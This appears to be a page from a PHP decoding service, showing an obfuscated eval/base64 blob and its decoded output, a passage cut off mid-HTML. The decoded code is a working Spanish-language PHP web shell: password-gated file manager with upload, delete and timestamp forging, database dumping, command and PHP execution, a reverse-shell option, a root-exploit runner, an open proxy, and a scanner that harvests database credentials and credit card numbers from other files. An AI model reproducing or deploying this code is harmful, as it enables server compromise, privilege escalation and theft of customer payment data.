Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /*xx*/eVAl/*X*/(str_rot13(base64_decode('dnMgKCFzaGFwZ3ZiYV9ya3ZmZ2YoJ3VnZ2NfcHVoYXh..

Decoded Output download

if (!function_exists('http_chunked_decode')) {function http_chunked_decode($chunk) {$pos = 0;$len = strlen($chunk);$dechunk = null;while(($pos < $len)&& ($chunkLenHex = 
substr($chunk,$pos, ($newlineAt = strpos($chunk,"\n",$pos+1))-$pos))){if (! is_hex($chunkLenHex)) {return $chunk;}$pos = $newlineAt + 1;$chunkLen = hexdec(rtrim($chunkLenHex,"\r\n"));$dechunk .= substr($chunk, $pos, $chunkLen);$pos = strpos($chunk, "\n", $pos + $chunkLen) + 1;}return $dechunk;}}
function is_hex($hex) {$hex = strtolower(trim(ltrim($hex,"0")));if (empty($hex)) { $hex = 0; };$dec = hexdec($hex);return ($hex == dechex($dec));}
function invalidrequest(){print "HTTP/1.1 500\r\nServer: Zero-Proxy\r\nContent-Length: 25\r\n\r\n<h1>Invalid request!</h1>\r\n";exit;}


$servers=array();$path_finder=".";if(isset($_GET['path']))$path_finder=$_GET['path'];$users=array();$passwords=array();
$level=1;if(isset($_GET['level']))$level=$_GET['level'];$firmas=array("Estandar eval(base64_decode())"=>"/eval\s*\(\s*base64_decode\(\s*/","eval(gzinflate(base64_decode()))"=>"/eval\s*\(gzinflate\s*\(\s*base64_decode\s*\(\s*/","D4NB4R WAS HERE"=>"/D4NB4R WAS HERE/","md5(Safety)"=>"/6472ce41c26babff27b4c28028093d77/","md5(backdoor1)"=>"/f32e7903a13ff43da2ef1baf36adeca9/","WSO 2.1 (Web Shell by oRb)"=>"/10b27b168be0f7e90496dbc5fcfa63fc/","WSO 2.1 (Web Shell by oRb) 2"=>"/Web Shell by oRb/","milw0rm.com"=>"/milw0rm\.com/","exploit-db.com"=>"/exploit-db\.com/","FilesMan"=>"/preg_replace\s*\(\s*(\"|')\/\.\*\/e(\"|')/","CMD"=>'/(system|exec|passthru)\(\s*\$_GET\[([^\w\d]|\"|\')*cmd([^\w\d]|"|\')*\]\s*\)/',"CC's dump"=>"/num_tarjeta,codigo_sec,fecha_expira/i","root 12345"=>"/'root','12345'/i",);$level2=array("Pasarela (VPCPaymentConnection)"=>"/VPCPaymentConnection/","setSecureSecret(__GROUP__)"=>"/setSecureSecret\s*\(\s*(.+?)\s*\)/","__GROUP____PARSE_ARGS__"=>"/((ifx_connect|oci_connect|mysql_connect|pg_connect|mssql_connect|odbc_connect)\s*\(\s*.+?\s*\)\s*;)/i");if(intval($level)>1){$firmas=array_merge($firmas,$level2);}$level3=array("CC's (__GROUP__)"=>"/[^\w](cc_?num(ber)?|credit_?card|cod_?sec|cvv|num_?cad|num_?exp|tarjeta|numero_?tarjeta|vence_?mes|vence_?ano|c_seg|exp_code?)[^\w]/i","Visa CC's (__GROUP__)"=>"/[^\d\w]((?:4[0-9]{12}(?:[0-9]{3})?)[^\d\w]/","MasterCard CC's (__GROUP__)"=>"/[^\d\w](5[1-5][0-9]{14})[^\d\w]/","American Express CC's (__GROUP__)"=>"/([^\d\w]3[47][0-9]{13}[^\d\w])/");
function logscreen($data){ print $data; } function recursivo($path){global $firmas;global $users;global $passwords;global $servers;$dh=opendir($path);while (($file = readdir($dh)) !== false) {if(!preg_match("/^\.+$/",$file)){$dir=$path."/".$file;if(is_dir($dir)){recursivo($dir);} elseif(preg_match("/\.php(\.[\w\d]*)?$/i",$file)){$fh=fopen($dir,"r");$leidas=0;while(($linea=fread($fh,2048))!==false){foreach($firmas as $descripcion => $firma){if(preg_match($firma,$linea,$match_groups)){$especial=0;if(preg_match("/__PARSE_ARGS__/",$descripcion)){$descripcion=preg_replace("/__PARSE_ARGS__/",'',$descripcion);$especial=1;}logscreen("<b>[-] Found: </b>".$dir."<br />\n");logscreen("<b>[i]Firma: </b>".preg_replace("/__GROUP__/",$match_groups[1],$descripcion)."<br /><br />\n");if($especial==1){$mina=$match_groups[1];$mina=preg_replace("/^.+?\(\s*/","",$mina);$mina=preg_replace("/\s*\)\s*;$/","",$mina);if(preg_match("/^(['\"])$/",$mina[0],$sepa)){$cadena=1;$separador=$sepa[1];$argss=array();$tmparg="";for($i=1; $i<strlen($mina); $i++){if($mina[$i]==$separador && $cadena==1){$cadena=0;$argss[]=$tmparg;$tmparg="";continue;}if($cadena==1){$tmparg.=$mina[$i];}else{if(preg_match("/^(['\"])$/",$mina[$i],$sepa)){$cadena=1;$separador=$sepa[1];}}}if($argss[0]!=''){$servers[]=$argss[0];}if($argss[1]!=''){$users[]=$argss[1];}if($argss[2]!=''){$passwords[]=$argss[2];}}}break 2;}}$leidas+=1;if($leidas>200){break;}}}}}} function shellfinder(){global $users;global $passwords;global $servers;global $path_finder;error_reporting(E_ALL);@apache_setenv('no-gzip', 1);@ini_set('max_execution_time',0);@ini_set('output_buffering',0);@ini_set('zlib.output_compression', 0);@ini_set('implicit_flush', 1);for ($i = 0; $i < ob_get_level(); $i++){ob_end_flush();}ob_implicit_flush(1);set_time_limit(0);$level=$_GET['level'];if(intval($level)>2){$firmas=array_merge($firmas,$level3);}logscreen("<b>[-] Buscando...</b><br />\n");recursivo($path_finder);$servers=array_unique($servers);$users=array_unique($users);$passwords=array_unique($passwords);if(count($servers)>0){logscreen("<b>[-] Servers encontrados:</b><br />\n");foreach($servers as $server){print $server."<br />";}}if(count($users)>0){logscreen("<b>[-] Usuarios encontrados:</b><br />\n");foreach($users as $user){print $user."<br />";}}if(count($passwords)>0){logscreen("<b>[-] Passwords encontrados:</b><br />\n");foreach($passwords as $password){print $password."<br />";}} exit;}
error_reporting(7);
@set_magic_quotes_runtime(0);
@setlocale(LC_CTYPE, "en_US.UTF-8");
#pendiente de comprimir
if(isset($_GET['protesterona'])){
if(isset($_GET['sn'])){
$allow_url_fopen=ini_get('allow_url_fopen');
$sockets=0;
$sniffer=0;
$snifferror_code='';
$snifferror_message='';
if(function_exists('fsockopen')){$sockets2=1;
}$ssl=1;
if (!extension_loaded('openssl')) {$ssl=0;
}if(function_exists('socket_create')){$sockets=1;
$socket = @socket_create(AF_INET , SOCK_RAW , SOL_TCP);
if($socket){$buf=@socket_read($socket, 65536);
$sniffer=1;
}else
{$snifferror_code = '['.socket_last_error().'] ';
$snifferror_message = socket_strerror($error_code);
}}if($ssl==1){print '<b>[-] SSL enabled!</b><br />';
}if($sockets2==1){print '<b>[-] fsockopen enabled!</b><br />';
} else {print '<b>[x] fsockopen disabled!</b><br />';
}if($sockets===1){print '<b>[-] Sockets enabled!</b><br />';
}else {print "<b>[x] Sockets disabled! :(</b><br />";
}if($sniffer===1){echo "<b>[-] I can sniff!! :D...</b>\n";
} else {echo "<b>[x] I can't sniff :(".$snifferror_code.$snifferror_message."</b><br />";
}if($allow_url_fopen===false){print '<b>[x] init_get not support allow_url_fopen :S<b><br />';
} else {print '<b>['.($allow_url_fopen=='1' ? '-' : 'x').'] init_get(\'allow_url_fopen\')='.$allow_url_fopen.' ('.($allow_url_fopen=='1' ? 'on' : 'off').')<b><br />';
}
}
$dossl=false;
if(isset($_POST['request'])){
$host=$_POST['host'];
if(preg_match("/^do-ssl-zero\./",$host)){
$dossl=true;
$host=preg_replace("/^do-ssl-zero\./","",$host);
}
$port=$_POST['port'];
$request=preg_replace("/Accept-Encoding:\s+([^\r\n]+)\r?\n/","",base64_decode($_POST['request']));
$address = gethostbyname($host);
$socktype='fsockopen';
if (function_exists('socket_create') || function_exists('fsockopen')){
if((FALSE!==($socket=fsockopen(($dossl ? 'ssl://' : '').$host,$port)) || (function_exists('socket_create') && ($socket=socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) and socket_connect($socket, $address, $port) && $socktype=='socket'))){
if($socktype=='socket')
@socket_write($socket, $request);
else
@fwrite($socket, $request);
$buf='';
if($socktype=='socket'){
while(false !== ($buf = socket_read($socket, 2048))) {
if($buf=='') break;
print $buf;
}
} else {
$allbuffer="";
$header_ssl="";
$body_ssl="";
$saltar_ssl=0;
$found_crlf=0;
$procesar=true;
while (($buf = fgets($socket)) !== false) {
if($procesar){
if($found_crlf==1 || preg_match("/\r?\n\r?\n/",$header_ssl)){
if($found_crlf==0){
$found_crlf=1;
if(!preg_match("/Content-Type:\s+(application\/javascript|text\/html)/i",$header_ssl)){
$procesar=false;
print $header_ssl.$buf;
$header_ssl="";
}
}
$body_ssl.=$buf;
} else {
$header_ssl.=$buf;
}
} else {
print $buf;
}
}
if($procesar){
if(preg_match("/Transfer-Encoding:\s+chunked\r?\n/",$header_ssl)){
$body_ssl=http_chunked_decode($body_ssl);
}
$header_ssl=preg_replace("/Transfer-Encoding:\s+chunked\r?\n/","",$header_ssl);
$header_ssl=preg_replace("/https:\/\//","http://do-ssl-zero.",$header_ssl);
$body_ssl=preg_replace("/https:\/\//","http://do-ssl-zero.",$body_ssl);
print $header_ssl.$body_ssl;
}
}
if($socktype=='socket')
@socket_close($socket);
else
@fclose($socket);
} else {
$disphost=($dossl ? 'ssl://' : '').$host;
print "HTTP/1.1 500\r\nServer: Zero-Proxy\r\nContent-Length: ".(strlen($disphost)+29)."\r\n\r\n<h1>Server not found: ".$disphost."</h1>\r\n";
}
} elseif(ini_get('allow_url_fopen')=='1'){
if(preg_match("/^(.+?)\r?\n\r?\n(.*)$/ms",$request,$parser1)){
$params = array('http' => array('method' => 'GET','header'=>"",));
$header=$parser1[1];
$content=$parser1[2];
$header=str_replace("\r","",$header);
$headers=explode("\n",$header);
$fline=array_shift($headers);
$urltarget="";
if(preg_match("/^(\w+)\s+([^\s]+)\s+(HTTP\/(\d\.\d))$/",$fline,$flineparsed)){
if(!preg_match("/^(GET|POST|HEAD|PUT|OPTIONS)$/i",$flineparsed[1])){invalidrequest();
}$params['http']['method']=$flineparsed[1];
if(preg_match("/^http:/i",$flineparsed[2])){
$urltarget=$flineparsed[2];
} else {
$urltarget="http://".$host.($port!='80' ? ":".$port : '').$flineparsed[2];
}
} else {
invalidrequest();
}
$next_header="";
foreach($headers as $head){
if(!preg_match("/^(Content-Length|Connection|Accept-Encoding)/i",$head)){
$next_header.=$head."\r\n";
}
}
$params['http']['header']=$next_header;
if($content!='')$params['http']['content']=$content;
$context = @stream_context_create($params);
$openfile=@fopen($urltarget, 'r',false, $context);
if(isset($http_response_header)){
foreach($http_response_header as $rhead){
print $rhead."\r\n";
}
print "\r\n";
}
if ($openfile) {while (($buf = @fgets($openfile, 2048)) !== false) {echo $buf;}@fclose($openfile);}}} else {print "HTTP/1.1 500\r\nServer: Zero-Proxy\r\nContent-Length: 26\r\n\r\n<h1>Server not usable</h1>\r\n";}}exit;}
#pendiente de comprimir
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
define('IS_COM', class_exists('COM') ? 1 : 0);
define('IS_GPC', get_magic_quotes_gpc());
$dis_func = get_cfg_var('disable_functions');
define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0);
@set_time_limit(0);
foreach(array('_GET','_POST') as $_request) {foreach($$_request as $_key => $_value) {if ($_key{0} != '_') {if (IS_GPC) {$_value = s_array($_value);}$$_key = $_value;}}}$admin = array();
$admin['check'] = true;
$admin['pass'] = 'bb75d74adc666860d7fe226ed0ca0277';
$admin['cookiepre'] = '';
$admin['cookiedomain'] = '';
$admin['cookiepath'] = '/';
$admin['cookielife'] = 86400;
!$writabledb && $writabledb = 'php,cgi,pl,asp,inc,js,html,htm,jsp';
$charsetdb = array('armscii8','ascii','big5','binary','cp1250','cp1251','cp1256','cp1257','cp850','cp852','cp866','cp932','dec8','eucjpms','euckr','gb2312','gbk','geostd8','greek','hebrew','hp8','keybcs2','koi8r','koi8u','latin1','latin2','latin5','latin7','macce','macroman','sjis','swe7','tis620','ucs2','ujis','utf8'
);
if ($charset == 'utf8') {header("content-Type: text/html; charset=utf-8");
} elseif ($charset == 'big5') {header("content-Type: text/html; charset=big5");
} elseif ($charset == 'gbk') {header("content-Type: text/html; charset=gbk");
} elseif ($charset == 'latin1') {header("content-Type: text/html; charset=iso-8859-2");
} elseif ($charset == 'euckr') {header("content-Type: text/html; charset=euc-kr");
} elseif ($charset == 'eucjpms') {header("content-Type: text/html; charset=euc-jp");
}$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$timestamp = time();
if ($action == "logout") {scookie('loginpass', '', -86400 * 365);p('<meta http-equiv="refresh" content="1;URL='.$self.'">');p('<a style="font:12px Verdana" href="'.$self.'">Adios, no vuelvas!!</a>');exit;
}if($admin['check']) {if ($doing == 'login') {if ($admin['pass'] == md5($password)) {scookie('loginpass', md5($password));p('<meta http-equiv="refresh" content="1;URL='.$self.'">');p('<a style="font:12px Verdana" href="'.$self.'">Ingresando...</a>');exit;}}if ($_COOKIE['loginpass']) {if ($_COOKIE['loginpass'] != $admin['pass']) {loginpage();}} else {loginpage();}}if(isset($_GET['sf'])) shellfinder();$errmsg = '';ob_start();if ($action == 'phpinfo') {if (IS_PHPINFO) {phpinfo();exit;} else {$errmsg = 'phpinfo() no esta habilitado';}}if ($doing == 'downfile' && $thefile) {if (!@file_exists($thefile)) {$errmsg = 'El archivo que desea descargar no existe';} else {$fileinfo = pathinfo($thefile);header('Content-type: application/x-'.$fileinfo['extension']);header('Content-Disposition: attachment; filename='.$fileinfo['basename']);header('Content-Length: '.filesize($thefile));@readfile($thefile);exit;}}if ($doing == 'backupmysql' && !$saveasfile) {mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);$table = array_flip($table);$result = q("SHOW tables");if (!$result) p('<h2>'.mysql_error().'</h2>');$filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');header('Content-type: application/unknown');header('Content-Disposition: attachment; filename='.$filename);$mysqldata = '';while ($currow = mysql_fetch_array($result)) {if (isset($table[$currow[0]])) {$mysqldata .= sqldumptable($currow[0]);}}mysql_close();exit;
}if($doing=='mysqldown'){if (!$dbname) {$errmsg = 'Ingrese el dbname';} else {mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);if (!file_exists($mysqldlfile)) {$errmsg = 'El archivo que desea descargar no existe';} else {$result = q("select load_file('$mysqldlfile');");if(!$result){q("DROP TABLE IF EXISTS tmp_angel;");q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");	
q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");$result = q("select content from tmp_angel");q("DROP TABLE tmp_angel");}$row = @mysql_fetch_array($result);if (!$row) {$errmsg = 'Load file failed '.mysql_error();} else {$fileinfo = pathinfo($mysqldlfile);header('Content-type: application/x-'.$fileinfo['extension']);header('Content-Disposition: attachment; filename='.$fileinfo['basename']);header("Accept-Length: ".strlen($row[0]));echo $row[0];exit;}}}}if(isset($_GET['rt'])){?>
<form action="?rt" method="POST">
<table>
<tr><td><b>Exploit: <b></td><td><input type="text" name="exploit" value="<?php if(isset($_POST['exploit'])){print htmlentities($_POST['exploit']);} else {print '/tmp/2.6.18-56'; } ?>"></td></tr>
<tr><td><b>CMD: <b></td><td><textarea type="text" name="cmd" rows="4" cols="50"><?php if(isset($_POST['cmd'])){print htmlentities($_POST['cmd']);} ?></textarea></td></tr>
<tr><td></td><td><input type="submit" value="Run as R00t"></td></tr>
</table>
</form>
<?php
if(isset($_POST['cmd'])){$fp = fopen('/tmp/cmd.txt', 'w');fwrite($fp, $_POST['cmd']."\n");fwrite($fp, "exit\n");fclose($fp);print "<pre>".htmlentities(execute("cat /tmp/cmd.txt | ".$_POST['exploit']))."</pre>";}exit;
}?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk">
<title><?php echo str_replace('.','','P.h.p.-.-.-');?></title>
<style type="text/css">
body,td{font: 12px Arial,Tahoma;line-height: 16px;}.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}a {color: #00f;text-decoration:underline;}a:hover{color: #f00;text-decoration:none;}.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}.head td span{font-weight:normal;}form{margin:0;padding:0;}h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}ul.info li{margin:0;color:#444;line-height:24px;height:24px;}u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}</style>
<script type="text/javascript">
function CheckAll(form) {for(var i=0;i<form.elements.length;i++) {var e = form.elements[i];if (e.name != 'chkall')e.checked = form.chkall.checked;
 }}function $(id) {return document.getElementById(id);
}function goaction(act){$('goaction').action.value=act;$('goaction').submit();
}</script>
</head>
<body style="margin:0;table-layout:fixed; word-break:break-all">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr class="head">
<td><span style="float:right;"><?php echo str_replace('.','','P.h.p.-.-.-');?> </span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
</tr>
<tr class="alt1">
<td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
<a href="javascript:goaction('logout');">Salir</a> |
<a href="javascript:goaction('file');">Archivos</a> |
<a href="javascript:goaction('mysqladmin');">MYSQL</a> |
<a href="javascript:goaction('mssqladmin');">MSSQL</a> |
<a href="javascript:goaction('sqlfile');">Subir/Bajar MySQLDB</a> |
<a href="javascript:goaction('shell');">Ejecutar Comando</a> |
<a href="javascript:goaction('phpenv');">Variables PHP</a> |
<a href="javascript:goaction('eval');">Ejecutar PHP</a>
<?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Shell inversa</a><?php }?>
</td>
</tr>
</table>
<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
<?php
formhead(array('name'=>'goaction'));
makehide('action');
formfoot();
$errmsg && m($errmsg);
if (!$dir) {if ($_SERVER["DOCUMENT_ROOT"]) {$dir = $_SERVER["DOCUMENT_ROOT"];} else {$dir = '.';}}$nowpath = getPath(SA_ROOT, $dir);
if (substr($dir, -1) != '/') {$dir = $dir.'/';
}$uedir = ue($dir);
if (!$action || $action == 'file') {$dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';if ($doing == 'deldir' && $thefile) {if (!file_exists($thefile)) {m($thefile.' El directorio no existe');} else {m('Borrado '.(deltree($thefile) ? basename($thefile).' exitoso' : 'fallido'));}}elseif ($newdirname) {$mkdirs = $nowpath.$newdirname;if (file_exists($mkdirs)) {m('El directorio ya existe');} else {m('Directorio creado '.(@mkdir($mkdirs,0777) ? 'exitoso' : 'fallido'));@chmod($mkdirs,0777);}}elseif ($doupfile) {m('Upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'exitoso' : 'fallido'));}elseif ($editfilename && $filecontent) {$fp = @fopen($editfilename,'w');m('Guardado '.(@fwrite($fp,$filecontent) ? 'exitoso' : 'fallido'));@fclose($fp);}elseif ($pfile && $newperm) {if (!file_exists($pfile)) {m('El archivo original no existe');} else {$newperm = base_convert($newperm,8,10);m('Modificar atributos '.(@chmod($pfile,$newperm) ? 'exitoso' : 'fallido'));}}elseif ($oldname && $newfilename) {$nname = $nowpath.$newfilename;if (file_exists($nname) || !file_exists($oldname)) {m($nname.' has already existed or original file does not exist');} else {m(basename($oldname).' renombrado '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));}}elseif ($sname && $tofile) {if (file_exists($tofile) || !file_exists($sname)) {m('The goal file has already existed or original file does not exist');} else {m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));}}elseif ($curfile && $tarfile) {if (!@file_exists($curfile) || !@file_exists($tarfile)) {m('The goal file has already existed or original file does not exist');} else {$time = @filemtime($tarfile);m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'exitoso' : 'fallido'));}}elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {if (!@file_exists($curfile)) {m(basename($curfile).' does not exist');} else {$time = strtotime("$year-$month-$day $hour:$minute:$second");m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'exitoso' : 'fallido'));}}elseif($doing == 'downrar') {if ($dl) {$dfiles='';foreach ($dl as $filepath => $value) {$dfiles.=$filepath.',';}$dfiles=substr($dfiles,0,strlen($dfiles)-1);$dl=explode(',',$dfiles);$zip=new PHPZip($dl);$code=$zip->out;header('Content-type: application/octet-stream');header('Accept-Ranges: bytes');header('Accept-Length: '.strlen($code));header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');echo $code;exit;} else {m('Please select file(s)');}}elseif($doing == 'delfiles') {if ($dl) {$dfiles='';$succ = $fail = 0;foreach ($dl as $filepath => $value) {if (@unlink($filepath)) {$succ++;} else {$fail++;}}m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);} else {m('Please select file(s)');}}formhead(array('name'=>'createdir'));makehide('newdirname');makehide('dir',$nowpath);formfoot();formhead(array('name'=>'fileperm'));makehide('newperm');makehide('pfile');makehide('dir',$nowpath);formfoot();formhead(array('name'=>'copyfile'));makehide('sname');makehide('tofile');makehide('dir',$nowpath);formfoot();formhead(array('name'=>'rename'));makehide('oldname');makehide('newfilename');makehide('dir',$nowpath);formfoot();formhead(array('name'=>'fileopform', 'target'=>'_blank'));makehide('action');makehide('opfile');makehide('dir');formfoot();formhead(array('name'=>'getsize'));makehide('getdir');makehide('dir');formfoot();$free = @disk_free_space($nowpath);!$free && $free = 0;$all = @disk_total_space($nowpath);!$all && $all = 0;$used = $all-$free;$used_percent = @round(100/($all/$free),2);p('<h2>Archivos// - Espacio en disco '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
?>
<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
 <form action="" method="post" id="godir" name="godir">
 <tr>
 <td nowrap>Ruta Actual (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
 <td nowrap><input class="bt" value="IR A RUTA" type="submit"></td>
 </tr>
 </form>
</table>
<script type="text/javascript">
function createdir(){var newdirname;newdirname = prompt('Ingrese el nombre del directorio:', '');if (!newdirname) return;$('createdir').newdirname.value=newdirname;$('createdir').submit();
}function fileperm(pfile){var newperm;newperm = prompt('Archivo:'+pfile+'\nIngrese los nuevos atributos:', '');if (!newperm) return;$('fileperm').newperm.value=newperm;$('fileperm').pfile.value=pfile;$('fileperm').submit();
}function copyfile(sname){var tofile;tofile = prompt('Ruta actual:'+sname+'\nIngrese la ruta donde se copiara:', '');if (!tofile) return;$('copyfile').tofile.value=tofile;$('copyfile').sname.value=sname;$('copyfile').submit();
}function rename(oldname){var newfilename;newfilename = prompt('Nombre actual:'+oldname+'\nIngrese un nuevo nombre:', '');if (!newfilename) return;$('rename').newfilename.value=newfilename;$('rename').oldname.value=oldname;$('rename').submit();
}function dofile(doing,thefile,m){if (m && !confirm(m)) {return;}$('filelist').doing.value=doing;if (thefile){$('filelist').thefile.value=thefile;}$('filelist').submit();
}function createfile(nowpath){var filename;filename = prompt('Ingrese el nombre del archivo:', '');if (!filename) return;opfile('editfile',nowpath + filename,nowpath);
}function opfile(action,opfile,dir){$('fileopform').action.value=action;$('fileopform').opfile.value=opfile;$('fileopform').dir.value=dir;$('fileopform').submit();
}function godir(dir,view_writable){if (view_writable) {$('godir').view_writable.value=view_writable;}$('godir').dir.value=dir;$('godir').submit();
}function getsize(getdir,dir){$('getsize').getdir.value=getdir;$('getsize').dir.value=dir;$('getsize').submit();
}</script>
 <?php
$findstr = $_POST['findstr'];$re = $_POST['re'];tbhead();p('<tr class="alt1"><td colspan="7" style="padding:5px;line-height:20px;">');p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div></form>');p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');p(' | <a href="javascript:godir(\'.\');">Ruta Shell</a>');p(' | <a href="javascript:godir(\''.$nowpath.'\');">Ver todo</a>');p(' | View Writable (<a href="javascript:godir(\''.$nowpath.'\',\'dir\');">Directorio</a>');p(' | <a href="javascript:godir(\''.$nowpath.'\',\'file\');">Archivo</a>)');p(' | <a href="javascript:createdir();">Crear Directorio</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Crear Archivo</a>');if (IS_WIN && IS_COM) {$obj = new COM('scripting.filesystemobject');if ($obj && is_object($obj) && is_array($obj->Drives)) {$DriveTypeDB = array(0 => 'Unknown',1 => 'Removible',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');foreach($obj->Drives as $drive) {if ($drive->DriveType == 2) {p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'&#13;Libre:'.sizecount($drive->FreeSpace).'&#13;Tipo:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');} else {p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Tipo:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');}}}}p('<br /><form action="'.$self.'" method="POST">Buscar texto en archivos: <input class="input" name="findstr" value="'.$findstr.'" type="text" /> <input class="bt" value="Buscar" type="submit" /> Extension: <input class="input" name="writabledb" value="'.$writabledb.'" type="text" /><input name="dir" value="'.$dir.'" type="hidden" /> <input name="re" value="1" type="checkbox" '.($re ? 'checked' : '').' /> Expresiones regulares</form></td></tr>');p('<tr class="head"><td>&nbsp;</td><td>Nombre</td><td width="16%">Ultima modificacion</td><td width="10%">Size</td><td width="20%">Chmod / Permiso</td><td width="22%">Acciones</td></tr>');$dirdata=array();$filedata=array();if ($view_writable == 'dir') {$dirdata = GetWDirList($nowpath);$filedata = array();} elseif ($view_writable == 'file') {$dirdata = array();$filedata = GetWFileList($nowpath);} elseif ($findstr) {$dirdata = array();$filedata = GetSFileList($nowpath, $findstr, $re);} else {$dirs=@opendir($dir);while ($file=@readdir($dirs)) {$filepath=$nowpath.$file;if(@is_dir($filepath)){$dirdb['filename']=$file;$dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));$dirdb['dirchmod']=getChmod($filepath);$dirdb['dirperm']=getPerms($filepath);$dirdb['fileowner']=getUser($filepath);$dirdb['dirlink']=$nowpath;$dirdb['server_link']=$filepath;$dirdb['client_link']=ue($filepath);$dirdata[]=$dirdb;} else {$filedb['filename']=$file;$filedb['size']=sizecount(@filesize($filepath));$filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));$filedb['filechmod']=getChmod($filepath);$filedb['fileperm']=getPerms($filepath);$filedb['fileowner']=getUser($filepath);$filedb['dirlink']=$nowpath;$filedb['server_link']=$filepath;$filedb['client_link']=ue($filepath);$filedata[]=$filedb;}}unset($dirdb);unset($filedb);@closedir($dirs);}@sort($dirdata);@sort($filedata);$dir_i = '0';foreach($dirdata as $key => $dirdb){if($dirdb['filename']!='..' && $dirdb['filename']!='.') {if($getdir && $getdir == $dirdb['server_link']) {$attachsize = dirsize($dirdb['server_link']);$attachsize = is_numeric($attachsize) ? sizecount($attachsize) : 'Unknown';} else {$attachsize = '<a href="javascript:getsize(\''.$dirdb['server_link'].'\',\''.$dir.'\');">Calcular</a>';}$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');p('<td nowrap>'.$dirdb['mtime'].'</td>');p('<td nowrap>'.$attachsize.'</td>');p('<td nowrap>');p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Esta seguro de borrar <'.$dirdb['filename'].'>? \\n\\nSi el directorio no esta vacio, todos los archivos se borraran.\')">Borrar</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Renombrar</a></td>');p('</tr>');$dir_i++;} else {if($dirdb['filename']=='..') {p('<tr class='.bg().'>');p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent 